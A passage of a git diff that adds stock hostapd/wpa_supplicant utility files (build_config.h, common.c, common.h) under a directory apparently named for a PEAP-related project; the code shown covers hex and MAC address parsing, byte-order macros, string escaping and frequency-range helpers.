originally defined in Makefile. This is mainly meant for IDE use or for + * systems that do not have suitable 'make' tool. In these cases, it may be + * easier to have a single place for defining all the needed C pre-processor + * defines. + */ + +#ifndef BUILD_CONFIG_H +#define BUILD_CONFIG_H + +/* Insert configuration defines, e.g., #define EAP_MD5, here, if needed. */ + +#ifdef CONFIG_WIN32_DEFAULTS +#define CONFIG_NATIVE_WINDOWS +#define CONFIG_ANSI_C_EXTRA +#define CONFIG_WINPCAP +#define IEEE8021X_EAPOL +#define PKCS12_FUNCS +#define PCSC_FUNCS +#define CONFIG_CTRL_IFACE +#define CONFIG_CTRL_IFACE_NAMED_PIPE +#define CONFIG_DRIVER_NDIS +#define CONFIG_NDIS_EVENTS_INTEGRATED +#define CONFIG_DEBUG_FILE +#define EAP_MD5 +#define EAP_TLS +#define EAP_MSCHAPv2 +#define EAP_PEAP +#define EAP_TTLS +#define EAP_GTC +#define EAP_OTP +#define EAP_LEAP +#define EAP_TNC +#define _CRT_SECURE_NO_DEPRECATE + +#ifdef USE_INTERNAL_CRYPTO +#define CONFIG_TLS_INTERNAL_CLIENT +#define CONFIG_INTERNAL_LIBTOMMATH +#define CONFIG_CRYPTO_INTERNAL +#endif /* USE_INTERNAL_CRYPTO */ +#endif /* CONFIG_WIN32_DEFAULTS */ + +#endif /* BUILD_CONFIG_H */ diff --git a/peapwn/mods/hostap/src/utils/common.c b/peapwn/mods/hostap/src/utils/common.c new file mode 100644 index 000000000..257bb6d42 --- /dev/null +++ b/peapwn/mods/hostap/src/utils/common.c @@ -0,0 +1,737 @@ +/* + * wpa_supplicant/hostapd / common helper functions, etc. + * Copyright (c) 2002-2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" + + +static int hex2num(char c) +{ + if (c >= '0' && c <= '9') + return c - '0'; + if (c >= 'a' && c <= 'f') + return c - 'a' + 10; + if (c >= 'A' && c <= 'F') + return c - 'A' + 10; + return -1; +} + + +int hex2byte(const char *hex) +{ + int a, b; + a = hex2num(*hex++); + if (a < 0) + return -1; + b = hex2num(*hex++); + if (b < 0) + return -1; + return (a << 4) | b; +} + + +/** + * hwaddr_aton - Convert ASCII string to MAC address (colon-delimited format) + * @txt: MAC address as a string (e.g., "00:11:22:33:44:55") + * @addr: Buffer for the MAC address (ETH_ALEN = 6 bytes) + * Returns: 0 on success, -1 on failure (e.g., string not a MAC address) + */ +int hwaddr_aton(const char *txt, u8 *addr) +{ + int i; + + for (i = 0; i < 6; i++) { + int a, b; + + a = hex2num(*txt++); + if (a < 0) + return -1; + b = hex2num(*txt++); + if (b < 0) + return -1; + *addr++ = (a << 4) | b; + if (i < 5 && *txt++ != ':') + return -1; + } + + return 0; +} + +/** + * hwaddr_compact_aton - Convert ASCII string to MAC address (no colon delimitors format) + * @txt: MAC address as a string (e.g., "001122334455") + * @addr: Buffer for the MAC address (ETH_ALEN = 6 bytes) + * Returns: 0 on success, -1 on failure (e.g., string not a MAC address) + */ +int hwaddr_compact_aton(const char *txt, u8 *addr) +{ + int i; + + for (i = 0; i < 6; i++) { + int a, b; + + a = hex2num(*txt++); + if (a < 0) + return -1; + b = hex2num(*txt++); + if (b < 0) + return -1; + *addr++ = (a << 4) | b; + } + + return 0; +} + +/** + * hwaddr_aton2 - Convert ASCII string to MAC address (in any known format) + * @txt: MAC address as a string (e.g., 00:11:22:33:44:55 or 0011.2233.4455) + * @addr: Buffer for the MAC address (ETH_ALEN = 6 bytes) + * Returns: Characters used (> 0) on success, -1 on failure + */ +int hwaddr_aton2(const char *txt, u8 *addr) +{ + int i; + const char *pos = txt; + + for (i = 0; i < 6; i++) { + int a, b; + + while (*pos == ':' || *pos == '.' || *pos == '-') + pos++; + + a = hex2num(*pos++); + if (a < 0) + return -1; + b = hex2num(*pos++); + if (b < 0) + return -1; + *addr++ = (a << 4) | b; + } + + return pos - txt; +} + + +/** + * hexstr2bin - Convert ASCII hex string into binary data + * @hex: ASCII hex string (e.g., "01ab") + * @buf: Buffer for the binary data + * @len: Length of the text to convert in bytes (of buf); hex will be double + * this size + * Returns: 0 on success, -1 on failure (invalid hex string) + */ +int hexstr2bin(const char *hex, u8 *buf, size_t len) +{ + size_t i; + int a; + const char *ipos = hex; + u8 *opos = buf; + + for (i = 0; i < len; i++) { + a = hex2byte(ipos); + if (a < 0) + return -1; + *opos++ = a; + ipos += 2; + } + return 0; +} + + +/** + * inc_byte_array - Increment arbitrary length byte array by one + * @counter: Pointer to byte array + * @len: Length of the counter in bytes + * + * This function increments the last byte of the counter by one and continues + * rolling over to more significant bytes if the byte was incremented from + * 0xff to 0x00. + */ +void inc_byte_array(u8 *counter, size_t len) +{ + int pos = len - 1; + while (pos >= 0) { + counter[pos]++; + if (counter[pos] != 0) + break; + pos--; + } +} + + +void wpa_get_ntp_timestamp(u8 *buf) +{ + struct os_time now; + u32 sec, usec; + be32 tmp; + + /* 64-bit NTP timestamp (time from 1900-01-01 00:00:00) */ + os_get_time(&now); + sec = now.sec + 2208988800U; /* Epoch to 1900 */ + /* Estimate 2^32/10^6 = 4295 - 1/32 - 1/512 */ + usec = now.usec; + usec = 4295 * usec - (usec >> 5) - (usec >> 9); + tmp = host_to_be32(sec); + os_memcpy(buf, (u8 *) &tmp, 4); + tmp = host_to_be32(usec); + os_memcpy(buf + 4, (u8 *) &tmp, 4); +} + + +static inline int _wpa_snprintf_hex(char *buf, size_t buf_size, const u8 *data, + size_t len, int uppercase) +{ + size_t i; + char *pos = buf, *end = buf + buf_size; + int ret; + if (buf_size == 0) + return 0; + for (i = 0; i < len; i++) { + ret = os_snprintf(pos, end - pos, uppercase ? "%02X" : "%02x", + data[i]); + if (ret < 0 || ret >= end - pos) { + end[-1] = '\0'; + return pos - buf; + } + pos += ret; + } + end[-1] = '\0'; + return pos - buf; +} + +/** + * wpa_snprintf_hex - Print data as a hex string into a buffer + * @buf: Memory area to use as the output buffer + * @buf_size: Maximum buffer size in bytes (should be at least 2 * len + 1) + * @data: Data to be printed + * @len: Length of data in bytes + * Returns: Number of bytes written + */ +int wpa_snprintf_hex(char *buf, size_t buf_size, const u8 *data, size_t len) +{ + return _wpa_snprintf_hex(buf, buf_size, data, len, 0); +} + + +/** + * wpa_snprintf_hex_uppercase - Print data as a upper case hex string into buf + * @buf: Memory area to use as the output buffer + * @buf_size: Maximum buffer size in bytes (should be at least 2 * len + 1) + * @data: Data to be printed + * @len: Length of data in bytes + * Returns: Number of bytes written + */ +int wpa_snprintf_hex_uppercase(char *buf, size_t buf_size, const u8 *data, + size_t len) +{ + return _wpa_snprintf_hex(buf, buf_size, data, len, 1); +} + + +#ifdef CONFIG_ANSI_C_EXTRA + +#ifdef _WIN32_WCE +void perror(const char *s) +{ + wpa_printf(MSG_ERROR, "%s: GetLastError: %d", + s, (int) GetLastError()); +} +#endif /* _WIN32_WCE */ + + +int optind = 1; +int optopt; +char *optarg; + +int getopt(int argc, char *const argv[], const char *optstring) +{ + static int optchr = 1; + char *cp; + + if (optchr == 1) { + if (optind >= argc) { + /* all arguments processed */ + return EOF; + } + + if (argv[optind][0] != '-' || argv[optind][1] == '\0') { + /* no option characters */ + return EOF; + } + } + + if (os_strcmp(argv[optind], "--") == 0) { + /* no more options */ + optind++; + return EOF; + } + + optopt = argv[optind][optchr]; + cp = os_strchr(optstring, optopt); + if (cp == NULL || optopt == ':') { + if (argv[optind][++optchr] == '\0') { + optchr = 1; + optind++; + } + return '?'; + } + + if (cp[1] == ':') { + /* Argument required */ + optchr = 1; + if (argv[optind][optchr + 1]) { + /* No space between option and argument */ + optarg = &argv[optind++][optchr + 1]; + } else if (++optind >= argc) { + /* option requires an argument */ + return '?'; + } else { + /* Argument in the next argv */ + optarg = argv[optind++]; + } + } else { + /* No argument */ + if (argv[optind][++optchr] == '\0') { + optchr = 1; + optind++; + } + optarg = NULL; + } + return *cp; +} +#endif /* CONFIG_ANSI_C_EXTRA */ + + +#ifdef CONFIG_NATIVE_WINDOWS +/** + * wpa_unicode2ascii_inplace - Convert unicode string into ASCII + * @str: Pointer to string to convert + * + * This function converts a unicode string to ASCII using the same + * buffer for output. If UNICODE is not set, the buffer is not + * modified. + */ +void wpa_unicode2ascii_inplace(TCHAR *str) +{ +#ifdef UNICODE + char *dst = (char *) str; + while (*str) + *dst++ = (char) *str++; + *dst = '\0'; +#endif /* UNICODE */ +} + + +TCHAR * wpa_strdup_tchar(const char *str) +{ +#ifdef UNICODE + TCHAR *buf; + buf = os_malloc((strlen(str) + 1) * sizeof(TCHAR)); + if (buf == NULL) + return NULL; + wsprintf(buf, L"%S", str); + return buf; +#else /* UNICODE */ + return os_strdup(str); +#endif /* UNICODE */ +} +#endif /* CONFIG_NATIVE_WINDOWS */ + + +void printf_encode(char *txt, size_t maxlen, const u8 *data, size_t len) +{ + char *end = txt + maxlen; + size_t i; + + for (i = 0; i < len; i++) { + if (txt + 4 > end) + break; + + switch (data[i]) { + case '\"': + *txt++ = '\\'; + *txt++ = '\"'; + break; + case '\\': + *txt++ = '\\'; + *txt++ = '\\'; + break; + case '\e': + *txt++ = '\\'; + *txt++ = 'e'; + break; + case '\n': + *txt++ = '\\'; + *txt++ = 'n'; + break; + case '\r': + *txt++ = '\\'; + *txt++ = 'r'; + break; + case '\t': + *txt++ = '\\'; + *txt++ = 't'; + break; + default: + if (data[i] >= 32 && data[i] <= 127) { + *txt++ = data[i]; + } else { + txt += os_snprintf(txt, end - txt, "\\x%02x", + data[i]); + } + break; + } + } + + *txt = '\0'; +} + + +size_t printf_decode(u8 *buf, size_t maxlen, const char *str) +{ + const char *pos = str; + size_t len = 0; + int val; + + while (*pos) { + if (len + 1 >= maxlen) + break; + switch (*pos) { + case '\\': + pos++; + switch (*pos) { + case '\\': + buf[len++] = '\\'; + pos++; + break; + case '"': + buf[len++] = '"'; + pos++; + break; + case 'n': + buf[len++] = '\n'; + pos++; + break; + case 'r': + buf[len++] = '\r'; + pos++; + break; + case 't': + buf[len++] = '\t'; + pos++; + break; + case 'e': + buf[len++] = '\e'; + pos++; + break; + case 'x': + pos++; + val = hex2byte(pos); + if (val < 0) { + val = hex2num(*pos); + if (val < 0) + break; + buf[len++] = val; + pos++; + } else { + buf[len++] = val; + pos += 2; + } + break; + case '0': + case '1': + case '2': + case '3': + case '4': + case '5': + case '6': + case '7': + val = *pos++ - '0'; + if (*pos >= '0' && *pos <= '7') + val = val * 8 + (*pos++ - '0'); + if (*pos >= '0' && *pos <= '7') + val = val * 8 + (*pos++ - '0'); + buf[len++] = val; + break; + default: + break; + } + break; + default: + buf[len++] = *pos++; + break; + } + } + if (maxlen > len) + buf[len] = '\0'; + + return len; +} + + +/** + * wpa_ssid_txt - Convert SSID to a printable string + * @ssid: SSID (32-octet string) + * @ssid_len: Length of ssid in octets + * Returns: Pointer to a printable string + * + * This function can be used to convert SSIDs into printable form. In most + * cases, SSIDs do not use unprintable characters, but IEEE 802.11 standard + * does not limit the used character set, so anything could be used in an SSID. + * + * This function uses a static buffer, so only one call can be used at the + * time, i.e., this is not re-entrant and the returned buffer must be used + * before calling this again. + */ +const char * wpa_ssid_txt(const u8 *ssid, size_t ssid_len) +{ + static char ssid_txt[32 * 4 + 1]; + + if (ssid == NULL) { + ssid_txt[0] = '\0'; + return ssid_txt; + } + + printf_encode(ssid_txt, sizeof(ssid_txt), ssid, ssid_len); + return ssid_txt; +} + + +void * __hide_aliasing_typecast(void *foo) +{ + return foo; +} + + +char * wpa_config_parse_string(const char *value, size_t *len) +{ + if (*value == '"') { + const char *pos; + char *str; + value++; + pos = os_strrchr(value, '"'); + if (pos == NULL || pos[1] != '\0') + return NULL; + *len = pos - value; + str = dup_binstr(value, *len); + if (str == NULL) + return NULL; + return str; + } else if (*value == 'P' && value[1] == '"') { + const char *pos; + char *tstr, *str; + size_t tlen; + value += 2; + pos = os_strrchr(value, '"'); + if (pos == NULL || pos[1] != '\0') + return NULL; + tlen = pos - value; + tstr = dup_binstr(value, tlen); + if (tstr == NULL) + return NULL; + + str = os_malloc(tlen + 1); + if (str == NULL) { + os_free(tstr); + return NULL; + } + + *len = printf_decode((u8 *) str, tlen + 1, tstr); + os_free(tstr); + + return str; + } else { + u8 *str; + size_t tlen, hlen = os_strlen(value); + if (hlen & 1) + return NULL; + tlen = hlen / 2; + str = os_malloc(tlen + 1); + if (str == NULL) + return NULL; + if (hexstr2bin(value, str, tlen)) { + os_free(str); + return NULL; + } + str[tlen] = '\0'; + *len = tlen; + return (char *) str; + } +} + + +int is_hex(const u8 *data, size_t len) +{ + size_t i; + + for (i = 0; i < len; i++) { + if (data[i] < 32 || data[i] >= 127) + return 1; + } + return 0; +} + + +int find_first_bit(u32 value) +{ + int pos = 0; + + while (value) { + if (value & 0x1) + return pos; + value >>= 1; + pos++; + } + + return -1; +} + + +size_t merge_byte_arrays(u8 *res, size_t res_len, + const u8 *src1, size_t src1_len, + const u8 *src2, size_t src2_len) +{ + size_t len = 0; + + os_memset(res, 0, res_len); + + if (src1) { + if (src1_len >= res_len) { + os_memcpy(res, src1, res_len); + return res_len; + } + + os_memcpy(res, src1, src1_len); + len += src1_len; + } + + if (src2) { + if (len + src2_len >= res_len) { + os_memcpy(res + len, src2, res_len - len); + return res_len; + } + + os_memcpy(res + len, src2, src2_len); + len += src2_len; + } + + return len; +} + + +char * dup_binstr(const void *src, size_t len) +{ + char *res; + + if (src == NULL) + return NULL; + res = os_malloc(len + 1); + if (res == NULL) + return NULL; + os_memcpy(res, src, len); + res[len] = '\0'; + + return res; +} + + +int freq_range_list_parse(struct wpa_freq_range_list *res, const char *value) +{ + struct wpa_freq_range *freq = NULL, *n; + unsigned int count = 0; + const char *pos, *pos2, *pos3; + + /* + * Comma separated list of frequency ranges. + * For example: 2412-2432,2462,5000-6000 + */ + pos = value; + while (pos && pos[0]) { + n = os_realloc_array(freq, count + 1, + sizeof(struct wpa_freq_range)); + if (n == NULL) { + os_free(freq); + return -1; + } + freq = n; + freq[count].min = atoi(pos); + pos2 = os_strchr(pos, '-'); + pos3 = os_strchr(pos, ','); + if (pos2 && (!pos3 || pos2 < pos3)) { + pos2++; + freq[count].max = atoi(pos2); + } else + freq[count].max = freq[count].min; + pos = pos3; + if (pos) + pos++; + count++; + } + + os_free(res->range); + res->range = freq; + res->num = count; + + return 0; +} + + +int freq_range_list_includes(const struct wpa_freq_range_list *list, + unsigned int freq) +{ + unsigned int i; + + if (list == NULL) + return 0; + + for (i = 0; i < list->num; i++) { + if (freq >= list->range[i].min && freq <= list->range[i].max) + return 1; + } + + return 0; +} + + +char * freq_range_list_str(const struct wpa_freq_range_list *list) +{ + char *buf, *pos, *end; + size_t maxlen; + unsigned int i; + int res; + + if (list->num == 0) + return NULL; + + maxlen = list->num * 30; + buf = os_malloc(maxlen); + if (buf == NULL) + return NULL; + pos = buf; + end = buf + maxlen; + + for (i = 0; i < list->num; i++) { + struct wpa_freq_range *range = &list->range[i]; + + if (range->min == range->max) + res = os_snprintf(pos, end - pos, "%s%u", + i == 0 ? "" : ",", range->min); + else + res = os_snprintf(pos, end - pos, "%s%u-%u", + i == 0 ? "" : ",", + range->min, range->max); + if (res < 0 || res > end - pos) { + os_free(buf); + return NULL; + } + pos += res; + } + + return buf; +} diff --git a/peapwn/mods/hostap/src/utils/common.h b/peapwn/mods/hostap/src/utils/common.h new file mode 100644 index 000000000..028a5eff7 --- /dev/null +++ b/peapwn/mods/hostap/src/utils/common.h @@ -0,0 +1,544 @@ +/* + * wpa_supplicant/hostapd / common helper functions, etc. + * Copyright (c) 2002-2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef COMMON_H +#define COMMON_H + +#include "os.h" + +#if defined(__linux__) || defined(__GLIBC__) +#include +#include +#endif /* __linux__ */ + +#if defined(__FreeBSD__) || defined(__NetBSD__) || defined(__DragonFly__) || \ + defined(__OpenBSD__) +#include +#include +#define __BYTE_ORDER _BYTE_ORDER +#define __LITTLE_ENDIAN _LITTLE_ENDIAN +#define __BIG_ENDIAN _BIG_ENDIAN +#ifdef __OpenBSD__ +#define bswap_16 swap16 +#define bswap_32 swap32 +#define bswap_64 swap64 +#else /* __OpenBSD__ */ +#define bswap_16 bswap16 +#define bswap_32 bswap32 +#define bswap_64 bswap64 +#endif /* __OpenBSD__ */ +#endif /* defined(__FreeBSD__) || defined(__NetBSD__) || + * defined(__DragonFly__) || defined(__OpenBSD__) */ + +#ifdef __APPLE__ +#include +#include +#define __BYTE_ORDER _BYTE_ORDER +#define __LITTLE_ENDIAN _LITTLE_ENDIAN +#define __BIG_ENDIAN _BIG_ENDIAN +static inline unsigned short bswap_16(unsigned short v) +{ + return ((v & 0xff) << 8) | (v >> 8); +} + +static inline unsigned int bswap_32(unsigned int v) +{ + return ((v & 0xff) << 24) | ((v & 0xff00) << 8) | + ((v & 0xff0000) >> 8) | (v >> 24); +} +#endif /* __APPLE__ */ + +#ifdef CONFIG_TI_COMPILER +#define __BIG_ENDIAN 4321 +#define __LITTLE_ENDIAN 1234 +#ifdef __big_endian__ +#define __BYTE_ORDER __BIG_ENDIAN +#else +#define __BYTE_ORDER __LITTLE_ENDIAN +#endif +#endif /* CONFIG_TI_COMPILER */ + +#ifdef CONFIG_NATIVE_WINDOWS +#include + +typedef int socklen_t; + +#ifndef MSG_DONTWAIT +#define MSG_DONTWAIT 0 /* not supported */ +#endif + +#endif /* CONFIG_NATIVE_WINDOWS */ + +#ifdef _MSC_VER +#define inline __inline + +#undef vsnprintf +#define vsnprintf _vsnprintf +#undef close +#define close closesocket +#endif /* _MSC_VER */ + + +/* Define platform specific integer types */ + +#ifdef _MSC_VER +typedef UINT64 u64; +typedef UINT32 u32; +typedef UINT16 u16; +typedef UINT8 u8; +typedef INT64 s64; +typedef INT32 s32; +typedef INT16 s16; +typedef INT8 s8; +#define WPA_TYPES_DEFINED +#endif /* _MSC_VER */ + +#ifdef __vxworks +typedef unsigned long long u64; +typedef UINT32 u32; +typedef UINT16 u16; +typedef UINT8 u8; +typedef long long s64; +typedef INT32 s32; +typedef INT16 s16; +typedef INT8 s8; +#define WPA_TYPES_DEFINED +#endif /* __vxworks */ + +#ifdef CONFIG_TI_COMPILER +#ifdef _LLONG_AVAILABLE +typedef unsigned long long u64; +#else +/* + * TODO: 64-bit variable not available. Using long as a workaround to test the + * build, but this will likely not work for all operations. + */ +typedef unsigned long u64; +#endif +typedef unsigned int u32; +typedef unsigned short u16; +typedef unsigned char u8; +#define WPA_TYPES_DEFINED +#endif /* CONFIG_TI_COMPILER */ + +#ifndef WPA_TYPES_DEFINED +#ifdef CONFIG_USE_INTTYPES_H +#include +#else +#include +#endif +typedef uint64_t u64; +typedef uint32_t u32; +typedef uint16_t u16; +typedef uint8_t u8; +typedef int64_t s64; +typedef int32_t s32; +typedef int16_t s16; +typedef int8_t s8; +#define WPA_TYPES_DEFINED +#endif /* !WPA_TYPES_DEFINED */ + + +/* Define platform specific byte swapping macros */ + +#if defined(__CYGWIN__) || defined(CONFIG_NATIVE_WINDOWS) + +static inline unsigned short wpa_swap_16(unsigned short v) +{ + return ((v & 0xff) << 8) | (v >> 8); +} + +static inline unsigned int wpa_swap_32(unsigned int v) +{ + return ((v & 0xff) << 24) | ((v & 0xff00) << 8) | + ((v & 0xff0000) >> 8) | (v >> 24); +} + +#define le_to_host16(n) (n) +#define host_to_le16(n) (n) +#define be_to_host16(n) wpa_swap_16(n) +#define host_to_be16(n) wpa_swap_16(n) +#define le_to_host32(n) (n) +#define be_to_host32(n) wpa_swap_32(n) +#define host_to_be32(n) wpa_swap_32(n) + +#define WPA_BYTE_SWAP_DEFINED + +#endif /* __CYGWIN__ || CONFIG_NATIVE_WINDOWS */ + + +#ifndef WPA_BYTE_SWAP_DEFINED + +#ifndef __BYTE_ORDER +#ifndef __LITTLE_ENDIAN +#ifndef __BIG_ENDIAN +#define __LITTLE_ENDIAN 1234 +#define __BIG_ENDIAN 4321 +#if defined(sparc) +#define __BYTE_ORDER __BIG_ENDIAN +#endif +#endif /* __BIG_ENDIAN */ +#endif /* __LITTLE_ENDIAN */ +#endif /* __BYTE_ORDER */ + +#if __BYTE_ORDER == __LITTLE_ENDIAN +#define le_to_host16(n) ((__force u16) (le16) (n)) +#define host_to_le16(n) ((__force le16) (u16) (n)) +#define be_to_host16(n) bswap_16((__force u16) (be16) (n)) +#define host_to_be16(n) ((__force be16) bswap_16((n))) +#define le_to_host32(n) ((__force u32) (le32) (n)) +#define host_to_le32(n) ((__force le32) (u32) (n)) +#define be_to_host32(n) bswap_32((__force u32) (be32) (n)) +#define host_to_be32(n) ((__force be32) bswap_32((n))) +#define le_to_host64(n) ((__force u64) (le64) (n)) +#define host_to_le64(n) ((__force le64) (u64) (n)) +#define be_to_host64(n) bswap_64((__force u64) (be64) (n)) +#define host_to_be64(n) ((__force be64) bswap_64((n))) +#elif __BYTE_ORDER == __BIG_ENDIAN +#define le_to_host16(n) bswap_16(n) +#define host_to_le16(n) bswap_16(n) +#define be_to_host16(n) (n) +#define host_to_be16(n) (n) +#define le_to_host32(n) bswap_32(n) +#define host_to_le32(n) bswap_32(n) +#define be_to_host32(n) (n) +#define host_to_be32(n) (n) +#define le_to_host64(n) bswap_64(n) +#define host_to_le64(n) bswap_64(n) +#define be_to_host64(n) (n) +#define host_to_be64(n) (n) +#ifndef WORDS_BIGENDIAN +#define WORDS_BIGENDIAN +#endif +#else +#error Could not determine CPU byte order +#endif + +#define WPA_BYTE_SWAP_DEFINED +#endif /* !WPA_BYTE_SWAP_DEFINED */ + + +/* Macros for handling unaligned memory accesses */ + +static inline u16 WPA_GET_BE16(const u8 *a) +{ + return (a[0] << 8) | a[1]; +} + +static inline void WPA_PUT_BE16(u8 *a, u16 val) +{ + a[0] = val >> 8; + a[1] = val & 0xff; +} + +static inline u16 WPA_GET_LE16(const u8 *a) +{ + return (a[1] << 8) | a[0]; +} + +static inline void WPA_PUT_LE16(u8 *a, u16 val) +{ + a[1] = val >> 8; + a[0] = val & 0xff; +} + +static inline u32 WPA_GET_BE24(const u8 *a) +{ + return (a[0] << 16) | (a[1] << 8) | a[2]; +} + +static inline void WPA_PUT_BE24(u8 *a, u32 val) +{ + a[0] = (val >> 16) & 0xff; + a[1] = (val >> 8) & 0xff; + a[2] = val & 0xff; +} + +static inline u32 WPA_GET_BE32(const u8 *a) +{ + return (a[0] << 24) | (a[1] << 16) | (a[2] << 8) | a[3]; +} + +static inline void WPA_PUT_BE32(u8 *a, u32 val) +{ + a[0] = (val >> 24) & 0xff; + a[1] = (val >> 16) & 0xff; + a[2] = (val >> 8) & 0xff; + a[3] = val & 0xff; +} + +static inline u32 WPA_GET_LE32(const u8 *a) +{ + return (a[3] << 24) | (a[2] << 16) | (a[1] << 8) | a[0]; +} + +static inline void WPA_PUT_LE32(u8 *a, u32 val) +{ + a[3] = (val >> 24) & 0xff; + a[2] = (val >> 16) & 0xff; + a[1] = (val >> 8) & 0xff; + a[0] = val & 0xff; +} + +static inline u64 WPA_GET_BE64(const u8 *a) +{ + return (((u64) a[0]) << 56) | (((u64) a[1]) << 48) | + (((u64) a[2]) << 40) | (((u64) a[3]) << 32) | + (((u64) a[4]) << 24) | (((u64) a[5]) << 16) | + (((u64) a[6]) << 8) | ((u64) a[7]); +} + +static inline void WPA_PUT_BE64(u8 *a, u64 val) +{ + a[0] = val >> 56; + a[1] = val >> 48; + a[2] = val >> 40; + a[3] = val >> 32; + a[4] = val >> 24; + a[5] = val >> 16; + a[6] = val >> 8; + a[7] = val & 0xff; +} + +static inline u64 WPA_GET_LE64(const u8 *a) +{ + return (((u64) a[7]) << 56) | (((u64) a[6]) << 48) | + (((u64) a[5]) << 40) | (((u64) a[4]) << 32) | + (((u64) a[3]) << 24) | (((u64) a[2]) << 16) | + (((u64) a[1]) << 8) | ((u64) a[0]); +} + +static inline void WPA_PUT_LE64(u8 *a, u64 val) +{ + a[7] = val >> 56; + a[6] = val >> 48; + a[5] = val >> 40; + a[4] = val >> 32; + a[3] = val >> 24; + a[2] = val >> 16; + a[1] = val >> 8; + a[0] = val & 0xff; +} + + +#ifndef ETH_ALEN +#define ETH_ALEN 6 +#endif +#ifndef IFNAMSIZ +#define IFNAMSIZ 16 +#endif +#ifndef ETH_P_ALL +#define ETH_P_ALL 0x0003 +#endif +#ifndef ETH_P_80211_ENCAP +#define ETH_P_80211_ENCAP 0x890d /* TDLS comes under this category */ +#endif +#ifndef ETH_P_PAE +#define ETH_P_PAE 0x888E /* Port Access Entity (IEEE 802.1X) */ +#endif /* ETH_P_PAE */ +#ifndef ETH_P_EAPOL +#define ETH_P_EAPOL ETH_P_PAE +#endif /* ETH_P_EAPOL */ +#ifndef ETH_P_RSN_PREAUTH +#define ETH_P_RSN_PREAUTH 0x88c7 +#endif /* ETH_P_RSN_PREAUTH */ +#ifndef ETH_P_RRB +#define ETH_P_RRB 0x890D +#endif /* ETH_P_RRB */ + + +#ifdef __GNUC__ +#define PRINTF_FORMAT(a,b) __attribute__ ((format (printf, (a), (b)))) +#define STRUCT_PACKED __attribute__ ((packed)) +#else +#define PRINTF_FORMAT(a,b) +#define STRUCT_PACKED +#endif + + +#ifdef CONFIG_ANSI_C_EXTRA + +#if !defined(_MSC_VER) || _MSC_VER < 1400 +/* snprintf - used in number of places; sprintf() is _not_ a good replacement + * due to possible buffer overflow; see, e.g., + * http://www.ijs.si/software/snprintf/ for portable implementation of + * snprintf. */ +int snprintf(char *str, size_t size, const char *format, ...); + +/* vsnprintf - only used for wpa_msg() in wpa_supplicant.c */ +int vsnprintf(char *str, size_t size, const char *format, va_list ap); +#endif /* !defined(_MSC_VER) || _MSC_VER < 1400 */ + +/* getopt - only used in main.c */ +int getopt(int argc, char *const argv[], const char *optstring); +extern char *optarg; +extern int optind; + +#ifndef CONFIG_NO_SOCKLEN_T_TYPEDEF +#ifndef __socklen_t_defined +typedef int socklen_t; +#endif +#endif + +/* inline - define as __inline or just define it to be empty, if needed */ +#ifdef CONFIG_NO_INLINE +#define inline +#else +#define inline __inline +#endif + +#ifndef __func__ +#define __func__ "__func__ not defined" +#endif + +#ifndef bswap_16 +#define bswap_16(a) ((((u16) (a) << 8) & 0xff00) | (((u16) (a) >> 8) & 0xff)) +#endif + +#ifndef bswap_32 +#define bswap_32(a) ((((u32) (a) << 24) & 0xff000000) | \ + (((u32) (a) << 8) & 0xff0000) | \ + (((u32) (a) >> 8) & 0xff00) | \ + (((u32) (a) >> 24) & 0xff)) +#endif + +#ifndef MSG_DONTWAIT +#define MSG_DONTWAIT 0 +#endif + +#ifdef _WIN32_WCE +void perror(const char *s); +#endif /* _WIN32_WCE */ + +#endif /* CONFIG_ANSI_C_EXTRA */ + +#ifndef MAC2STR +#define MAC2STR(a) (a)[0], (a)[1], (a)[2], (a)[3], (a)[4], (a)[5] +#define MACSTR "%02x:%02x:%02x:%02x:%02x:%02x" + +/* + * Compact form for string representation of MAC address + * To be used, e.g., for constructing dbus paths for P2P Devices + */ +#define COMPACT_MACSTR "%02x%02x%02x%02x%02x%02x" +#endif + +#ifndef BIT +#define BIT(x) (1 << (x)) +#endif + +/* + * Definitions for sparse validation + * (http://kernel.org/pub/linux/kernel/people/josh/sparse/) + */ +#ifdef __CHECKER__ +#define __force __attribute__((force)) +#define __bitwise __attribute__((bitwise)) +#else +#define __force +#define __bitwise +#endif + +typedef u16 __bitwise be16; +typedef u16 __bitwise le16; +typedef u32 __bitwise be32; +typedef u32 __bitwise le32; +typedef u64 __bitwise be64; +typedef u64 __bitwise le64; + +#ifndef __must_check +#if __GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4) +#define __must_check __attribute__((__warn_unused_result__)) +#else +#define __must_check +#endif /* __GNUC__ */ +#endif /* __must_check */ + +int hwaddr_aton(const char *txt, u8 *addr); +int hwaddr_compact_aton(const char *txt, u8 *addr); +int hwaddr_aton2(const char *txt, u8 *addr); +int hex2byte(const char *hex); +int hexstr2bin(const char *hex, u8 *buf, size_t len); +void inc_byte_array(u8 *counter, size_t len); +void wpa_get_ntp_timestamp(u8 *buf); +int wpa_snprintf_hex(char *buf, size_t buf_size, const u8 *data, size_t len); +int wpa_snprintf_hex_uppercase(char *buf, size_t buf_size, const u8 *data, + size_t len); + +#ifdef CONFIG_NATIVE_WINDOWS +void wpa_unicode2ascii_inplace(TCHAR *str); +TCHAR * wpa_strdup_tchar(const char *str); +#else /* CONFIG_NATIVE_WINDOWS */ +#define wpa_unicode2ascii_inplace(s) do { } while (0) +#define wpa_strdup_tchar(s) strdup((s)) +#endif /* CONFIG_NATIVE_WINDOWS */ + +void printf_encode(char *txt, size_t maxlen, const u8 *data, size_t len); +size_t printf_decode(u8 *buf, size_t maxlen, const char *str); + +const char * wpa_ssid_txt(const u8 *ssid, size_t ssid_len); + +char * wpa_config_parse_string(const char *value, size_t *len); +int is_hex(const u8 *data, size_t len); +int find_first_bit(u32 value); +size_t merge_byte_arrays(u8 *res, size_t res_len, + const u8 *src1, size_t src1_len, + const u8 *src2, size_t src2_len); +char * dup_binstr(const void *src, size_t len); + +static inline int is_zero_ether_addr(const u8 *a) +{ + return !(a[0] | a[1] | a[2] | a[3] | a[4] | a[5]); +} + +static inline int is_broadcast_ether_addr(const u8 *a) +{ + return (a[0] & a[1] & a[2] & a[3] & a[4] & a[5]) == 0xff; +} + +#define broadcast_ether_addr (const u8 *) "\xff\xff\xff\xff\xff\xff" + +#include "wpa_debug.h" + + +struct wpa_freq_range_list { + struct wpa_freq_range { + unsigned int min; + unsigned int max; + } *range; + unsigned int num; +}; + +int freq_range_list_parse(struct wpa_freq_range_list *res, const char *value); +int freq_range_list_includes(const struct wpa_freq_range_list *list, + unsigned int freq); 